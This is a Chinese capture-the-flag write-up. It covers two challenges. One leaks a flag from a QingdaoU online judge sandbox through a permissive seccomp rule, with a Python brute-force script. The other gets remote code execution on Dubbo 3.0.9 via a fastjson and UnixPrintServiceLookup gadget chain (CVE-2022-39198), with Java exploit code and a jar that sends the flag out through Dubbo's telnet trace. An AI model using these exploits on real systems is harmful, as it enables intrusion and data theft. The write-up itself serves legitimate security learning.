PS: 本次比赛题目质量很高,主办方蛮用心的。
online_judge
题目提供了一个简易的类似于ACM/ICPC竞赛的OJ环境,有一经典的示例题目A+B,通过HTTP API的形式提交代码,经评测后,返回评测结果。
后端评测使用了青岛大学的开源OnlineJudge:
评测调度:https://github.com/QingdaoU/JudgeServer
评测核心:https://github.com/QingdaoU/Judger
flag在JudgeServer的容器实例/flag/flag文件中。
通过查看Judger工程,实际上评测核心基于seccomp框架来过滤syscall,在C++语言代码对应的seccomp相关代码中,可以发现实际上read和open函数并没有被过滤,也就是说实际上用户的C++代码,是可以打开并读取文件的。
https://github.com/QingdaoU/Judger/blob/newnew/src/rules/c_cpp.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #include <stdio.h> #include <seccomp.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdbool.h>
#include "../runner.h"
int _c_cpp_seccomp_rules(struct config *_config, bool allow_write_file) { int syscalls_whitelist[] = {SCMP_SYS(read), SCMP_SYS(fstat), SCMP_SYS(mmap), SCMP_SYS(mprotect), ... if (!allow_write_file) { if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 1, SCMP_CMP(1, SCMP_CMP_MASKED_EQ, O_WRONLY | O_RDWR, 0)) != 0) { return LOAD_SECCOMP_FAILED; } if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 1, SCMP_CMP(2, SCMP_CMP_MASKED_EQ, O_WRONLY | O_RDWR, 0)) != 0) { return LOAD_SECCOMP_FAILED; } } else { if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) != 0) { return LOAD_SECCOMP_FAILED; } if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0) != 0) { return LOAD_SECCOMP_FAILED; } if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0) != 0) { return LOAD_SECCOMP_FAILED; } if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup3), 0) != 0) { return LOAD_SECCOMP_FAILED; } }
|
因此,通过提交评测代码,可以读flag的内容;通过返回A+B例题的正确与错误结果,可以得到两种不同的评测结果。结合起来,即可以通过不断提交不同的评测代码,逐位枚举flag的方式来得到flag串。
例如,下面的代码,如果flag第一位为e,则会评测正确,否则错误:
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> int main() { int a, b; FILE *f = fopen("/flag/flag", "r"); char str[100]; fgets(str, 100, f); if (str[0] == 'e') printf("3\n", str); fclose(f); return 0; }
|
我们可以通过枚举str[i]和其可能的值,来枚举出所有的flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import os import sys import requests import string
host,port = '47.104.129.38',10101 base_url = f'http://{host}:{port}' token_url = f'{base_url}/getToken' judge_url = f'{base_url}/judge'
def getToken(): result = requests.post(token_url).json() assert not result['error'], "System error" return result['data']['token']
def judge(chall:str, src:str, language:str = 'C'): data = { 'src': src, 'language': language, 'action': chall, 'token': token, } result = requests.post(judge_url, json = data).json() return result
token = getToken() table = 'abcdeflg' + string.digits + r'{}' res = '' for i in range(40): for j in table: c_src = """ #include <stdio.h> int main(){ int a, b; FILE *f = fopen("/flag/flag", "r"); char str[100]; fgets(str, 100, f); if (str[%d] == '%s') printf("3\\n", str); fclose(f); return 0; } """ % (i, j) r = judge('test', c_src) if 'SUCCESS' == r['data']: res += j print(res) break else: break print(res)
|
dubboapp
偏门走道狗屎运拿了一血的WEB题。挺有意思的。
服务端提供了一个Dubbo服务的监听端口,版本为Dubbo3.0.9。
本题的容器是不出网的。
怎么RCE?
结合最新的CVE-2022-39198漏洞信息,sun.print.UnixPrintServiceLookup类可以提供RCE效果。同时,dubbo provider中的服务实现类代码自带了隐式toString()效果(将Object类型强制类型转换成String会隐式调用toString),项目又自带fastJSON依赖库:
1 2 3 4 5
| public class DemoServiceImpl implements DemoService { public String sayHello(Object name) { return "hi " + name; } }
|
因此,可以使用sayHello -> fastjson getter -> UnixPrintServiceLookup利用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.alibaba.fastjson.JSONObject; import org.springframework.context.support.ClassPathXmlApplicationContext; import sun.misc.Unsafe; import sun.print.UnixPrintServiceLookup; import java.lang.reflect.Field; import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;
public class BasicConsumer { public static void main(String[] args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/dubbo-demo-consumer.xml"); context.start(); DemoService demoService = (DemoService) context.getBean("demoService");
String cmd = "id"; Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class); setFieldValue(unixPrintServiceLookup, "cmdIndex", 0); setFieldValue(unixPrintServiceLookup, "osname", "xx"); setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd}); JSONObject jsonObject = new JSONObject(); jsonObject.put("xx", unixPrintServiceLookup); String hello = demoService.sayHello(jsonObject); System.out.println(hello); } }
|
注:Windows下的JDK里,是没有UnixPrintServiceLookup这个类的。怎么办?自己写个简单的只有成员变量的就行了。。(反正你只是用来序列化呀)
怎么出网?
一个小知识,Dubbo Provider的服务端口除了可接收正常的通讯报文外,为了方便开发者,其实还提供了telnet接口供人工干预,具体见文档:https://cn.dubbo.apache.org/zh/docs/references/telnet/
PS:似乎新版本还增加了个QOS功能:https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/reference-manual/qos/overview/
脑洞一下,里面有没有可以夹带数据出来的功能?
还真有,trace命令可以用来跟踪dubbo rpc的调用情况,有请求调用时,会在telnet中打印出请求参数和响应数据。
那么,直接通过RCE,往服务器上丢一个我们写的dubbo consumer,功能为读取flag,并以此为函数参数,调用provider即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import org.apache.dubbo.config.ApplicationConfig; import org.apache.dubbo.config.ReferenceConfig; import org.apache.dubbo.config.RegistryConfig; import java.io.*; import java.nio.charset.StandardCharsets;
public class Main { public static void main(String[] args) throws IOException { ReferenceConfig<DemoService> reference = new ReferenceConfig<DemoService>(); reference.setApplication(new ApplicationConfig("dubbo-demo-api-consumer")); reference.setRegistry(new RegistryConfig("multicast://224.5.6.7:1234")); reference.setInterface(DemoService.class); reference.setUrl("dubbo://127.0.0.1:20880"); DemoService service = reference.get(); String content = ""; StringBuilder builder = new StringBuilder(); File file = new File("/flag"); InputStreamReader streamReader = new InputStreamReader(new FileInputStream(file), StandardCharsets.UTF_8); BufferedReader bufferedReader = new BufferedReader(streamReader); while ((content = bufferedReader.readLine()) != null) builder.append(content); String message = service.sayHello(builder.toString()); System.out.println(message); } }
|
RCE第一轮将你自己写的dubbo consumer的jar投递过去后,RCE第二轮将jar跑起来就行。
1
| /dubbo/java/jdk1.8.0_202/bin/java -jar /dubbo/java/target/exp.jar
|
注意你自己写的jar里MANIFEST.MF中包的路径不要搞错了,要不会缺依赖包(也可以直接拷题目给的附件中的,也可以执行的命令行里指定classpath):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Manifest-Version: 1.0 Main-Class: Main Class-Path: . lib/spring-core-4.3.7.RELEASE.jar lib/commons-logging-1. 2.jar lib/spring-beans-4.3.7.RELEASE.jar lib/spring-context-4.3.7.REL EASE.jar lib/spring-aop-4.3.7.RELEASE.jar lib/spring-expression-4.3.7 .RELEASE.jar lib/dubbo-3.0.9.jar lib/spring-context-support-1.0.8.jar lib/javassist-3.28.0-GA.jar lib/netty-all-4.1.56.Final.jar lib/gson- 2.8.9.jar lib/snakeyaml-1.29.jar lib/fastjson-1.2.83.jar lib/datanucl eus-core-5.2.7.jar lib/datanucleus-rdbms-2.2.4.jar lib/curator-framew ork-4.0.1.jar lib/curator-client-4.0.1.jar lib/curator-recipes-2.8.0. jar lib/zookeeper-3.4.6.jar lib/log4j-1.2.16.jar lib/jline-0.9.94.jar lib/netty-3.7.0.Final.jar lib/guava-16.0.1.jar lib/curator-x-discove ry-5.2.1.jar lib/jackson-databind-2.10.0.jar lib/jackson-annotations- 2.10.0.jar lib/jackson-core-2.10.0.jar lib/slf4j-simple-1.7.25.jar li b/slf4j-api-1.7.25.jar
|
最终trace的效果如下:
Author:
PwnIO
Permalink:
http://pwnio.com/2023/c231d3fc3240.html
License:
Copyright (c) 2022 CC-BY-NC-4.0 LICENSE